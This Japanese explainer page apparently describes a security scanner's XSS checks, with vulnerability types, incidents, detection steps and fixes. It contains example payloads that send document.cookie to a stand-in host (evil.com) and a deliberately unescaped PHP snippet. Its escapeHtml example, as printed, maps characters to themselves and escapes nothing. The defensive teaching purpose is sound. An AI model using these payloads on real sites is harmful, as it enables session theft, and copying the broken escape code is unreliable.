
XSS(クロスサイトスクリプティング)検出
XSSは最も頻繁に発見されるWebアプリケーション脆弱性の一つです。 攻撃者がWebページに悪意のあるスクリプトを注入し、ユーザーのセッション窃取、 フィッシング攻撃、マルウェア配布などを行うリスクを診断します。
チェック項目
3種類のXSS脆弱性を検出
反射型XSS(Reflected XSS)
危険度: 高ユーザーが送信したデータが、サーバー側で適切にサニタイズされずにそのままHTMLレスポンスに反映される脆弱性。攻撃者は悪意のあるスクリプトを含むURLをユーザーにクリックさせることで攻撃を実行します。
攻撃コード例
// 攻撃URL例
https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
// サーバー側の脆弱なコード(PHP)
echo "検索結果: " . $_GET['q']; // エスケープなし格納型XSS(Stored XSS)
危険度: 非常に高悪意のあるスクリプトがデータベースに保存され、他のユーザーがそのデータを表示するたびにスクリプトが実行される脆弱性。掲示板、コメント欄、プロフィール情報などが典型的な攻撃対象です。影響範囲が広く、最も危険なXSSの種類です。
攻撃コード例
// 攻撃者がコメント欄に投稿
<img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">
// データベースに保存された悪意のあるHTML
<div class="comment">
<img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">
</div>DOM-based XSS
危険度: 高サーバーを介さず、クライアントサイドのJavaScriptがDOM操作を通じてユーザー入力を直接HTMLに注入する脆弱性。URLのフラグメント(#以降)やlocation.hashの値を使うケースが代表的です。
攻撃コード例
// 脆弱なクライアントサイドコード
document.getElementById('output').innerHTML = location.hash.substring(1);
// 攻撃URL
https://example.com/page#<img src=x onerror=alert(document.cookie)>追加の検査項目
- フォーム入力フィールドに対するXSSペイロードの注入テスト
- URLパラメータ(クエリ文字列)に対するペイロード反映テスト
- HTMLイベントハンドラ(onerror, onload, onmouseover等)の注入検出
- JavaScriptプロトコル(javascript:)の注入テスト
- エンコーディング回避テスト(UTF-7, ダブルエンコード等)
- Content-Security-Policyヘッダーとの連携評価
脆弱性の背景
なぜXSS対策が重要なのか
OWASP Top 10に常にランクインするXSSは、Webアプリケーションにおいて最も広く悪用される脆弱性の一つです。 XSSが成功すると、攻撃者は被害者のブラウザ上で任意のJavaScriptを実行でき、以下のような深刻な被害をもたらします。
セッションハイジャック
document.cookieを通じてセッションIDを窃取し、被害者のアカウントに不正アクセス。
キーロガー注入
フォームの入力内容(パスワード、クレジットカード番号等)を外部サーバーに送信。
フィッシング
正規ドメイン上に偽のログインフォームを表示し、認証情報を詐取。
マルウェア配布
ユーザーのブラウザを別のサイトにリダイレクトし、マルウェアをダウンロードさせる。
Webサイト改ざん
ページの表示内容を改ざんし、偽情報の拡散やブランド毀損を引き起こす。
仮想通貨マイニング
被害者のブラウザリソースを使用して暗号通貨のマイニングを実行。
実際の被害事例
XSSによる攻撃事例
Samy Worm - MySpace XSS攻撃(2005年)
格納型XSSを悪用したワームがMySpaceで拡散。攻撃者のプロフィールを閲覧するだけで、閲覧者のプロフィールにも同じスクリプトが自動追加される自己増殖型のワームでした。わずか20時間で100万以上のプロフィールが感染し、MySpaceは一時サービスを停止しました。
eBay XSSによるフィッシング攻撃(2015年)
eBayの商品ページにXSSの脆弱性が存在し、攻撃者が商品説明にJavaScriptを埋め込むことが可能でした。偽のログインフォームをオーバーレイ表示し、eBayの正規ドメイン上でフィッシング攻撃を実行。ユーザーは正規のeBayページだと信じてログイン情報を入力してしまいました。
Twitter TweetDeck XSS(2014年)
TweetDeckの表示処理に格納型XSSの脆弱性があり、ツイート内のJavaScriptコードがそのまま実行されました。自己リツイートするワームが拡散し、短時間で数万のアカウントが影響を受けました。
検出メカニズム
Security Scannerの検出方法
入力ポイントの特定
対象ページ内のフォーム、URLパラメータ、検索ボックスなどの入力ポイントを自動的に特定します。
XSSペイロードの注入
複数のXSSテストペイロード(<script>タグ、イベントハンドラ、エンコードされたペイロード等)を各入力ポイントに注入します。
レスポンスの解析
注入したペイロードがHTMLレスポンスにエスケープされずに反映されているかを検証します。
CSPヘッダーとの連携評価
Content-Security-Policyヘッダーがスクリプト実行をブロックするか、ポリシーの強度を評価します。
リスクレベルの判定
XSSの種類(反射型/格納型/DOM-based)と影響範囲に基づいてリスクレベルを判定します。
修正方法
XSS脆弱性の防御方法
1. 出力エスケープ(最も重要)
ユーザー入力をHTMLに出力する際は、必ず適切なエスケープ処理を行います。
// React - JSXは自動的にエスケープされる(安全)
function SearchResult({ query }: { query: string }) {
return <p>検索結果: {query}</p>; // 自動エスケープ
}
// 危険: dangerouslySetInnerHTML は使用しない
// <div dangerouslySetInnerHTML={{ __html: userInput }} /> // NG
// Node.js / Express での手動エスケープ
function escapeHtml(str: string): string {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}2. Content-Security-Policy(CSP)
CSPヘッダーでインラインスクリプトの実行を制限することで、XSS攻撃の影響を軽減できます。
// 厳格なCSP設定(Next.js middleware例)
// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
import crypto from 'crypto';
export function middleware(request: NextRequest) {
const nonce = crypto.randomBytes(16).toString('base64');
const response = NextResponse.next();
response.headers.set(
'Content-Security-Policy',
`default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self';`
);
return response;
}3. 入力バリデーション
サーバー側で入力値のバリデーションを行い、予期しないデータを拒否します。
// Zod を使った入力バリデーション
import { z } from 'zod';
const searchSchema = z.object({
query: z.string()
.min(1)
.max(200)
.regex(/^[a-zA-Z0-9\u3040-\u309F\u30A0-\u30FF\u4E00-\u9FFF\s]+$/),
});
// DOMPurify を使ったサニタイズ(リッチテキストが必要な場合)
import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: [],
});